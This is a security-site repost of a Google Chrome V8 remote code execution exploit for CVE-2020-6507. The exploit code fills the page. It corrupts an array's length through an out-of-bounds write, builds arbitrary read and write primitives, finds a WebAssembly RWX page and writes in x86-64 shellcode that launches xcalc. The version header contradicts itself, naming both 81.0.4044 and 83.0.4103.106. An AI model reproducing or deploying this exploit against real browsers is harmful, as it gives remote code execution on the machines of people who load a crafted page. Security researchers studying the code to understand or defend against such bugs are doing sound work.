首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Google Chrome 81.0.4044 V8 - Remote Code Execution
来源:vfocus.net 作者:Marcotto 发布时间:2021-04-06  
# Exploit Title: Google Chrome 81.0.4044 V8 - Remote Code Execution
# Date: 05/04/2021
# Exploit Author: Tobias Marcotto
# Tested on: Kali Linux x64 
# Version: 83.0.4103.106
# Description: Out of bounds write in V8 in Google Chrome prior to 83.0.4103.106 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.
# CVE: CVE-2020-6507


*********************************************************************************************************


var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

var arraybuf = new ArrayBuffer(0x13373);
var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108, 0, 0, 10, 4, 1, 2, 0, 11]);
var mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(mod);
var shell = wasm_instance.exports.shell;
var obj_array = [1337331,1337332,1337333,1337334,wasm_instance,wasm_instance,1337336,1337337];

var shellcode = new Uint8Array([72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 99, 104, 111, 46, 114, 105, 1, 72, 49, 4, 36, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1, 72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90, 72, 1, 226, 82, 72, 137, 226, 106, 99, 72, 184, 98, 105, 110, 47, 120, 99, 97, 108, 80, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 44, 98, 1, 46, 116, 114, 115, 46, 72, 49, 4, 36, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 99, 104, 111, 46, 114, 105, 1, 72, 49, 4, 36, 49, 246, 86, 106, 19, 94, 72, 1, 230, 86, 106, 24, 94, 72, 1, 230, 86, 106, 24, 94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5, 0]);

function ftoi(val) {
         f64_buf[0] = val;
         return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) {
         u64_buf[0] = Number(val & 0xffffffffn);
         u64_buf[1] = Number(val >> 32n);
         return f64_buf[0];
}

array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

length_as_double =
    new Float64Array(new BigUint64Array([0x2424242400000001n]).buffer)[0];

function trigger(array) {
  var x = array.length;
  x -= 67108861;
  x = Math.max(x, 0);
  x *= 6;
  x -= 5;
  x = Math.max(x, 0);

  let corrupting_array = [0.1, 0.1];
  let corrupted_array = [0.1];

  corrupting_array[x] = length_as_double;
  return [corrupting_array, corrupted_array];
}

for (let i = 0; i < 30000; ++i) {
  trigger(giant_array);
}

corrupted_array = trigger(giant_array)[1];

var search_space = [[(0x8040000-8)/8, 0x805b000/8], [(0x805b000)/8, (0x83c1000/8)-1], [0x8400000/8, (0x8701000/8)-1], [0x8740000/8, (0x8ac1000/8)-1], [0x8b00000/8, (0x9101000/8)-1]];
function searchmem(value)
{
	skip = 0;
	for(i=0; i<search_space.length; ++i)
	{
		for(j=search_space[i][0];j<search_space[i][1];++j)
		{
			if(((ftoi(corrupted_array[j])) >> 32n) === value || (((ftoi(corrupted_array[j])) & 0xffffffffn) === value))
			{
				if(skip++ == 2) // Probably the first two are due to the search itself
					return j;
			}
		}
	}
	return -1;
}

function searchmem_full(value)
{
	for(i=0;i<search_space.length;++i)
	{
		for(j=search_space[i][0];j<search_space[i][1];++j)
		{
			if((ftoi(corrupted_array[j]) === value))
			{
				if((((ftoi(corrupted_array[j+2]) >> 56n) & 0xffn) == 8n) && (((ftoi(corrupted_array[j+2]) >> 24n) & 0xffn) == 8n))
				{
					return j;
				}
			}
		}
	}
	return -1;
}

var arraybuf_idx = searchmem(0x13373n);
if(arraybuf_idx == -1)
{
	alert('Failed 1');
	throw new Error("Not found");
}
document.write("Found arraybuf at idx: " + arraybuf_idx + "<br>");
function arb_read(addr, length)
{
	var data = [];
	let u8_arraybuf = new Uint8Array(arraybuf);
	corrupted_array[arraybuf_idx+1] = itof(addr);
	for(i=0;i<length;++i)
		data.push(u8_arraybuf[i]);
	return data;
}

function arb_write(addr, data)
{
	corrupted_array[arraybuf_idx+1] = itof(addr);
	let u8_arraybuf = new Uint8Array(arraybuf);
	for(i=0;i<data.length;++i)
		u8_arraybuf[i] = data[i];
}

idx = searchmem_full((1337332n << 33n) + (1337331n << 1n));
if (idx == -1)
{
	alert('Failed 2');
	throw new Error("Not found");
}

wasm_addr = ftoi(corrupted_array[idx+2]) & 0xffffffffn;
document.write("Wasm instance: 0x"+wasm_addr.toString(16) + "<br>");
rwx_idx = Number((wasm_addr-1n+0x68n)/8n);
rwx_addr = ftoi(corrupted_array[rwx_idx-1]);
if ((wasm_addr & 0xfn) == 5n || (wasm_addr & 0xfn) == 0xdn)
{
	rwx_addr >>= 32n;
	rwx_addr += (ftoi(corrupted_array[rwx_idx]) & 0xffffffffn) << 32n;
}
document.write("rwx addr: 0x"+rwx_addr.toString(16));
arb_write(rwx_addr, shellcode);
shell();
            

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Google Chrome 86.0.4240 V8 - R
·Linux Kernel 5.8 < 5.16.11 - L
·vsftpd 3.0.3 - Remote Denial o
·Microsoft Exchange 2019 - SSRF
·Monitoring System (Dashboard)
·Nsasoft Hardware Software Inve
·Atlassian JIRA 8.11.1 - User E
·Golden FTP Server 4.70 - 'PASS
·Joomla JCK Editor 6.4.4 - 'par
·Hotel and Lodge Management Sys
·AnyDesk 5.5.2 - Remote Code Ex
·Zen Cart 1.5.7b - Remote Code
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved